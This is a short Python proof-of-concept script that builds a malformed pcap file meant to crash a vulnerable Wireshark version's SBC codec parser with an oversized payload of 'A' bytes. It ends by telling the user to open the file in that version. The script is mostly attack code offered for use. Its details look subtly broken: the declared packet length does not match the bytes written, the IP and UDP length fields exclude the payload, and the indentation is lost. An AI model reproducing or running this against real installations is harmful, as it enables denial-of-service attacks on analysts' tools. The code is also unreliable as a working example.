The following code is for security research and authorized testing only.
python
import struct
# This script generates a malformed pcap file to trigger the SBC codec crash.
# It creates a dummy global header followed by a crafted packet header
# and a malformed SBC payload designed to overflow the parser.
def generate_malformed_pcap(filename):
# PCAP Global Header (Little Endian)
pcap_global_header = struct.pack('<IHHIIII',
0xa1b2c3d4, # magic number
2, # version major
4, # version minor
0, # thiszone
0, # sigfigs
65535, # snaplen
1 # network (Ethernet)
)
# Packet Header (Timestamps and length)
# We set the captured length and actual length to a large value
packet_header = struct.pack('<IIII',
0, 0, # ts_sec, ts_usec
1000, # incl_len (captured length)
1000 # orig_len (original length)
)
# Ethernet Header (Dummy)
eth_header = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00'
# IP Header (Dummy)
ip_header = b'\x45\x00\x00\x1c\x00\x00\x40\x00\x40\x11\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01'
# UDP Header (Dummy)
udp_header = b'\x00\x00\x00\x00\x00\x08\x00\x00'
# SBC Payload (Malformed)
# Constructing a payload that violates the SBC codec parsing logic
# to trigger the buffer overflow/crash.
# Sending a large block of 'A's to simulate overflow
malicious_payload = b'\x9C' + b'A' * 500
with open(filename, 'wb') as f:
f.write(pcap_global_header)
f.write(packet_header)
f.write(eth_header)
f.write(ip_header)
f.write(udp_header)
f.write(malicious_payload)
print(f"[+] Malformed PCAP file generated: {filename}")
print("[+] Open this file in the vulnerable Wireshark version to trigger the crash.")
if __name__ == "__main__":
generate_malformed_pcap("crash_sbc.pcap")